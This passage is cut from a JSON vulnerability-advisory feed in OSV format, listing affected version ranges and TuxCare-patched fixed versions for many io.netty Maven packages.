,"ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1